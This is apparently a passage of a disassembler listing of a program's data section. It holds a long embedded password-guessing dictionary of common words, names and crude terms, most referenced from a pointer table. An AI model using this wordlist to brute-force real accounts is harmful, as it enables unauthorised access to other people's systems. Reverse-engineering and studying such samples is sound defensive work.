aGouge		db 'gouge',0            ; DATA XREF: ___:00429D1Co
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: ___:00429D18o
aGorges		db 'gorges',0           ; DATA XREF: ___:00429D14o
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:00429D10o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:00429D0Co
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: ___:00429D08o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00429D04o
		align 4
aGolden		db 'golden',0           ; DATA XREF: ___:00429D00o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:00429CFCo
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: ___:00429CF8o
aGirl		db 'girl',0             ; DATA XREF: ___:00429CF4o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: ___:00429CF0o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:00429CECo
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00429CE8o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: ___:00429CE4o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:00429CE0o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: ___:00429CDCo
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00429CD8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:00429CD4o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:00429CD0o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: ___:00429CCCo
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00429CC8o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:00429CC4o
aGarfield	db 'garfield',0         ; DATA XREF: ___:00429CC0o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:00429CBCo
aGames		db 'games',0            ; DATA XREF: ___:00429CB8o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00429CB4o
aFungible	db 'fungible',0         ; DATA XREF: ___:00429CB0o
		align 10h
aFunction	db 'function',0         ; DATA XREF: ___:00429CACo
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00429CA8o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00429CA4o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:00429CA0o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: ___:00429C9Co
aFucker		db 'fucker',0           ; DATA XREF: ___:00429C98o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429C94o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:00429C90o
		align 4
aFrog		db 'frog',0             ; DATA XREF: ___:00429C8Co
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:00429C88o
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:00429C84o
aFriend		db 'friend',0           ; DATA XREF: ___:00429C80o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:00429C7Co
		align 10h
aFrench		db 'french',0           ; DATA XREF: ___:00429C78o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:00429C74o
aFree		db 'free',0             ; DATA XREF: ___:00429C70o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:00429C6Co
		align 10h
aFreak		db 'freak',0            ; DATA XREF: ___:00429C68o
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:00429C64o
		align 10h
aFrance		db 'france',0           ; DATA XREF: ___:00429C60o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:00429C5Co
aFourier	db 'fourier',0          ; DATA XREF: ___:00429C58o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:00429C54o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: ___:00429C50o
		align 10h
aFormat		db 'format',0           ; DATA XREF: ___:00429C4Co
		align 4
aForm		db 'form',0             ; DATA XREF: ___:00429C48o
		align 10h
aForever	db 'forever',0          ; DATA XREF: ___:00429C44o
aForesigh	db 'foresigh',0
		align 4
aFord		db 'ford',0
		align 4
aForce		db 'force',0
		align 4
aFootball	db 'football',0
		align 10h
aFoolproo	db 'foolproo',0
		align 4
aFool		db 'fool',0
		align 4
aFood		db 'food',0
		align 4
aFlowers	db 'flowers',0
aFlower		db 'flower',0
		align 4
aFlorida	db 'florida',0
aFloat		db 'float',0
		align 4
aFlakes		db 'flakes',0
		align 4
aFishers	db 'fishers',0
aFirewall	db 'firewall',0
		align 4
aFire		db 'fire',0
		align 10h
aFinite		db 'finite',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 10h
aFight		db 'fight',0
		align 4
aField		db 'field',0
		align 10h
aFidelity	db 'fidelity',0
		align 4
aFerrari	db 'ferrari',0
aFermat		db 'fermat',0
		align 4
aFender		db 'fender',0
		align 4
aFelicia	db 'felicia',0
aFeds		db 'feds',0
		align 4
aFear		db 'fear',0
		align 4
aFast		db 'fast',0
		align 4
aFart		db 'fart',0
		align 4
aFaraday	db 'faraday',0
aFarad		db 'farad',0
		align 4
aFamily		db 'family',0
		align 4
aFalse		db 'false',0
		align 4
aFalcon		db 'falcon',0
		align 4
aFaith		db 'faith',0
		align 4
aFairway	db 'fairway',0
aExtensio	db 'extensio',0
		align 10h
aExplosiv	db 'explosiv',0
		align 4
aExplorer	db 'explorer',0
		align 4
aExplore	db 'explore',0
aExplode	db 'explode',0
aExpert		db 'expert',0
		align 10h
aEvelyn		db 'evelyn',0
		align 4
aEuclid		db 'euclid',0
		align 10h
aEternity	db 'eternity',0
		align 4
aEstate		db 'estate',0
		align 4
aEstablis	db 'establis',0
		align 10h
aErsatz		db 'ersatz',0
		align 4
aErotic		db 'erotic',0
		align 10h
aErin		db 'erin',0
		align 4
aErika		db 'erika',0
		align 10h
aErica		db 'erica',0
		align 4
aEric		db 'eric',0
		align 10h
aErenity	db 'erenity',0
aEnzyme		db 'enzyme',0
		align 10h
aEnterpri	db 'enterpri',0
		align 4
aEnter		db 'enter',0
		align 4
aEnglish	db 'english',0
aEngland	db 'england',0
aEngineer	db 'engineer',0
		align 10h
aEngine		db 'engine',0
		align 4
aEnemy		db 'enemy',0
		align 10h
aEmmanuel	db 'emmanuel',0
		align 4
aEmily		db 'emily',0
		align 4
aEmerald	db 'emerald',0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aEllen		db 'ellen',0
		align 4
aElizabet	db 'elizabet',0
		align 4
aElephant	db 'elephant',0
		align 4
aElectron	db 'electron',0
		align 10h
aElanor		db 'elanor',0
		align 4
aElaine		db 'elaine',0
		align 10h
aEinstein	db 'einstein',0
		align 4
aEinsiein	db 'einsiein',0
		align 4
aEileen		db 'eileen',0
		align 10h
aEiderdow	db 'eiderdow',0
		align 4
aEgghead	db 'egghead',0
aEdwina		db 'edwina',0
		align 4
aEdwin		db 'edwin',0
		align 4
aEducatio	db 'educatio',0
		align 10h
aEducation	db 'education',0
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:00429B00o
aEdit		db 'edit',0             ; DATA XREF: ___:00429AFCo
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00429AF8o
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:00429AF4o
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: ___:00429AF0o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:00429AECo
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: ___:00429AE8o
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:00429AE4o
		align 10h
aEasier		db 'easier',0           ; DATA XREF: ___:00429AE0o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:00429ADCo
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: ___:00429AD8o
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:00429AD4o
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: ___:00429AD0o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:00429ACCo
aDuncan		db 'duncan',0           ; DATA XREF: ___:00429AC8o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:00429AC4o
		align 10h
aDuke		db 'duke',0             ; DATA XREF: ___:00429AC0o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:00429ABCo
aDude		db 'dude',0             ; DATA XREF: ___:00429AB8o
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:00429AB4o
		align 10h
aDrought	db 'drought',0          ; DATA XREF: ___:00429AB0o
aDrive		db 'drive',0            ; DATA XREF: ___:00429AACo
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00429AA8o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:00429AA4o
		align 10h
aDownload	db 'download',0         ; DATA XREF: ___:00429AA0o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:00429A9Co
		align 4
aDoors		db 'doors',0            ; DATA XREF: ___:00429A98o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:00429A94o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:00429A90o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:00429A8Co
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:00429A88o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: ___:00429A84o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:00429A80o
		align 4
aDong		db 'dong',0
		align 4
aDollar		db 'dollar',0
		align 4
aDoctor		db 'doctor',0
		align 4
aDisplay_0	db 'display',0
aDisney		db 'disney',0
		align 4
aDiskette	db 'diskette',0
		align 4
aDisk_0		db 'disk',0
		align 10h
aDiscover	db 'discover',0
		align 4
aDisclose	db 'disclose',0
		align 4
aDiscipli	db 'discipli',0
		align 4
aDisc		db 'disc',0
		align 4
aDirty		db 'dirty',0
		align 4
aDirector	db 'director',0
		align 10h
aDirect		db 'direct',0
		align 4
aDipshit	db 'dipshit',0
aDinosaur	db 'dinosaur',0
		align 4
aDigital	db 'digital',0
aDieter		db 'dieter',0
		align 4
aDiet		db 'diet',0
		align 4
aDiehard	db 'diehard',0
aDick		db 'dick',0
		align 4
aDice		db 'dice',0
		align 4
aDiane		db 'diane',0
		align 4
aDiana		db 'diana',0            ; DATA XREF: ___:00429A20o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:00429A1Co
aDial		db 'dial',0             ; DATA XREF: ___:00429A18o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:00429A14o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: ___:00429A10o
aDesperat	db 'desperat',0         ; DATA XREF: ___:00429A0Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:00429A08o
aDesk		db 'desk',0             ; DATA XREF: ___:00429A04o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:00429A00o
aDennis		db 'dennis',0           ; DATA XREF: ___:004299FCo
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:004299F8o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: ___:004299F4o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:004299F0o
		align 4
aDelta		db 'delta',0            ; DATA XREF: ___:004299ECo
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:004299E8o
		align 4
aDefault	db 'DEFAULT',0          ; DATA XREF: ___:004299E4o
aDeck		db 'deck',0
		align 4
aDecember	db 'december',0
		align 10h
aDebug		db 'debug',0
		align 4
aDeborah	db 'deborah',0
aDebbie		db 'debbie',0           ; DATA XREF: ___:004299CCo
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:004299C8o
		align 4
aDead		db 'dead',0             ; DATA XREF: ___:004299C4o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:004299C0o
		align 4
aDave		db 'dave',0             ; DATA XREF: ___:004299BCo
		align 4
aData		db 'data',0             ; DATA XREF: ___:004299B8o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:004299B4o
		align 10h
aDark_0		db 'dark',0             ; DATA XREF: ___:004299B0o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:004299ACo
		align 10h
aDanny		db 'danny',0            ; DATA XREF: ___:004299A8o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:004299A4o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: ___:004299A0o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042999Co
		align 4
aDana		db 'dana',0             ; DATA XREF: ___:00429998o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:00429994o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: ___:00429990o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042998Co
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:00429988o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:00429984o
		align 4
aCyber_1	db 'cyber',0            ; DATA XREF: ___:00429980o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: ___:0042997Co
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: ___:00429978o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:00429974o
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: ___:00429970o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042996Co
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: ___:00429968o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: ___:00429964o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:00429960o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042995Co
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:00429958o
		align 4
aCreature	db 'creature',0         ; DATA XREF: ___:00429954o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: ___:00429950o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042994Co
		align 4
aCream		db 'cream',0            ; DATA XREF: ___:00429948o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:00429944o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:00429940o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042993Co
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:00429938o
		align 4
aCountry	db 'country',0          ; DATA XREF: ___:00429934o
aCounters	db 'counters',0         ; DATA XREF: ___:00429930o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042992Co
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:00429928o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:00429924o
		align 4
aCops		db 'cops',0             ; DATA XREF: ___:00429920o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042991Co
		align 4
aCooper		db 'cooper',0           ; DATA XREF: ___:00429918o
		align 4
aCool_0		db 'cool',0             ; DATA XREF: ___:00429914o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: ___:00429910o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042990Co
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:00429908o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
					; ___:00429904o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:00429900o
aConserva	db 'conserva',0         ; DATA XREF: ___:004298FCo
		align 10h
aConnie		db 'connie',0           ; DATA XREF: ___:004298F8o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
					; ___:004298F4o
aCondom		db 'condom',0           ; DATA XREF: ___:004298F0o
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:004298ECo
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: ___:004298E8o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: ___:004298E4o
aComputin	db 'computin',0         ; DATA XREF: ___:004298E0o
		align 10h
aCompany	db 'company',0          ; DATA XREF: ___:004298DCo
aCommrade	db 'commrade',0         ; DATA XREF: ___:004298D8o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:004298D4o
		align 4
aComics		db 'comics',0           ; DATA XREF: ___:004298D0o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:004298CCo
		align 4
aColor		db 'color',0            ; DATA XREF: ___:004298C8o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:004298C4o
aCold		db 'cold',0             ; DATA XREF: ___:004298C0o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:004298BCo
		align 4
aCoke		db 'coke',0             ; DATA XREF: ___:004298B8o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:004298B4o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: ___:004298B0o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:004298ACo
		align 10h
aCodename	db 'codename',0         ; DATA XREF: ___:004298A8o
		align 4
aCode		db 'code',0             ; DATA XREF: ___:004298A4o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:004298A0o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042989Co
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:00429898o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:00429894o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: ___:00429890o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042988Co
aClinton	db 'clinton',0          ; DATA XREF: ___:00429888o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:00429884o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:00429880o
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042987Co
aClassic	db 'classic',0          ; DATA XREF: ___:00429878o
aClasses	db 'classes',0          ; DATA XREF: ___:00429874o
aClass		db 'class',0            ; DATA XREF: ___:00429870o
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: ___:0042986Co
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:00429868o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:00429864o
		align 4
aChristy	db 'christy',0          ; DATA XREF: ___:00429860o
aChristin	db 'christin',0         ; DATA XREF: ___:0042985Co
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:00429858o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:00429854o
		align 10h
aChester	db 'chester',0          ; DATA XREF: ___:00429850o
aChess		db 'chess',0            ; DATA XREF: ___:0042984Co
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: ___:00429848o
		align 4
aChem		db 'chem',0             ; DATA XREF: ___:00429844o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:00429840o
		align 4
aCharon		db 'charon',0           ; DATA XREF: ___:0042983Co
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:00429838o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: ___:00429834o
aCharles	db 'charles',0          ; DATA XREF: ___:00429830o
aCharity	db 'charity',0          ; DATA XREF: ___:0042982Co
aChange		db 'change',0           ; DATA XREF: ___:00429828o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: ___:00429824o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: ___:00429820o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042981Co
		align 4
aCelt		db 'celt',0             ; DATA XREF: ___:00429818o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:00429814o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: ___:00429810o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042980Co
		align 4
aCathy		db 'cathy',0            ; DATA XREF: ___:00429808o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:00429804o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: ___:00429800o
		align 4
aCastle		db 'castle',0           ; DATA XREF: ___:004297FCo
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:004297F8o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: ___:004297F4o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:004297F0o
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: ___:004297ECo
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: ___:004297E8o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:004297E4o
		align 10h
aCarole		db 'carole',0           ; DATA XREF: ___:004297E0o
		align 4
aCarol		db 'carol',0            ; DATA XREF: ___:004297DCo
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: ___:004297D8o
		align 4
aCarla		db 'carla',0            ; DATA XREF: ___:004297D4o
		align 10h
aCaren		db 'caren',0            ; DATA XREF: ___:004297D0o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:004297CCo
		align 4
aCard		db 'card',0             ; DATA XREF: ___:004297C8o
		align 4
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
					; ___:004297C4o
aCaptain	db 'captain',0          ; DATA XREF: ___:004297C0o
aCantor		db 'cantor',0           ; DATA XREF: ___:004297BCo
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:004297B8o
		align 4
aCandi		db 'candi',0            ; DATA XREF: ___:004297B4o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:004297B0o
aCampanil	db 'campanil',0         ; DATA XREF: ___:004297ACo
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:004297A8o
aCaliforn	db 'californ',0         ; DATA XREF: ___:004297A4o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: ___:004297A0o
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042979Co
		align 10h
aButch		db 'butch',0            ; DATA XREF: ___:00429798o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:00429794o
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: ___:00429790o
aBung		db 'bung',0             ; DATA XREF: ___:0042978Co
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: ___:00429788o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: ___:00429784o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:00429780o
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042977Co
		align 4
aBrute		db 'brute',0            ; DATA XREF: ___:00429778o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:00429774o
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: ___:00429770o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042976Co
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:00429768o
aBrian		db 'brian',0            ; DATA XREF: ___:00429764o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:00429760o
		align 4
aBreast		db 'breast',0           ; DATA XREF: ___:0042975Co
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:00429758o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: ___:00429754o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:00429750o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042974Co
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:00429748o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:00429744o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:00429740o
		align 10h
aBook		db 'book',0             ; DATA XREF: ___:0042973Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:00429738o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: ___:00429734o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:00429730o
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: ___:0042972Co
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:00429728o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: ___:00429724o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:00429720o
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042971Co
aBlow		db 'blow',0             ; DATA XREF: ___:00429718o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:00429714o
		align 4
aBlood		db 'blood',0            ; DATA XREF: ___:00429710o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042970Co
aBlonde		db 'blonde',0           ; DATA XREF: ___:00429708o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:00429704o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: ___:00429700o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:004296FCo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:004296F8o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:004296F4o
		align 4
aBird		db 'bird',0             ; DATA XREF: ___:004296F0o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:004296ECo
		align 4
aBinary		db 'binary',0           ; DATA XREF: ___:004296E8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004296E4o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:004296E0o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:004296DCo
		align 10h
aBible		db 'bible',0            ; DATA XREF: ___:004296D8o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:004296D4o
aBetty		db 'betty',0            ; DATA XREF: ___:004296D0o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:004296CCo
		align 10h
aBeth		db 'beth',0             ; DATA XREF: ___:004296C8o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:004296C4o
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: ___:004296C0o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:004296BCo
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:004296B8o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:004296B4o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:004296B0o
aBenz		db 'benz',0             ; DATA XREF: ___:004296ACo
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:004296A8o
aBell		db 'bell',0             ; DATA XREF: ___:004296A4o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:004296A0o
		align 10h
aBegin		db 'begin',0            ; DATA XREF: ___:0042969Co
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:00429698o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:00429694o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: ___:00429690o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042968Co
		align 4
aBeater		db 'beater',0           ; DATA XREF: ___:00429688o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:00429684o
		align 4
aBear		db 'bear',0             ; DATA XREF: ___:00429680o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042967Co
		align 10h
aBeach		db 'beach',0            ; DATA XREF: ___:00429678o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:00429674o
		align 10h
aBatch		db 'batch',0            ; DATA XREF: ___:00429670o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042966Co
aBass		db 'bass',0             ; DATA XREF: ___:00429668o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:00429664o
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: ___:00429660o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: ___:0042965Co
aBart		db 'bart',0             ; DATA XREF: ___:00429658o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: ___:00429654o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:00429650o
		align 10h
aBare		db 'bare',0             ; DATA XREF: ___:0042964Co
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:00429648o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: ___:00429644o
aBanks		db 'banks',0            ; DATA XREF: ___:00429640o
		align 10h
aBank		db 'bank',0             ; DATA XREF: ___:0042963Co
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:00429638o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: ___:00429634o
aBanana		db 'banana',0           ; DATA XREF: ___:00429630o
		align 10h
aBall		db 'ball',0             ; DATA XREF: ___:0042962Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:00429628o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: ___:00429624o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:00429620o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042961Co
aBaby		db 'baby',0             ; DATA XREF: ___:00429618o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:00429614o
		align 4
aAzure		db 'azure',0            ; DATA XREF: ___:00429610o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042960Co
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:00429608o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:00429604o
		align 10h
aAtom		db 'atom',0             ; DATA XREF: ___:00429600o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:004295FCo
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:004295F8o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: ___:004295F4o
aAsian		db 'asian',0            ; DATA XREF: ___:004295F0o
		align 4
aArtist		db 'artist',0           ; DATA XREF: ___:004295ECo
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:004295E8o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: ___:004295E4o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:004295E0o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:004295DCo
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:004295D8o
aAria		db 'aria',0             ; DATA XREF: ___:004295D4o
		align 4
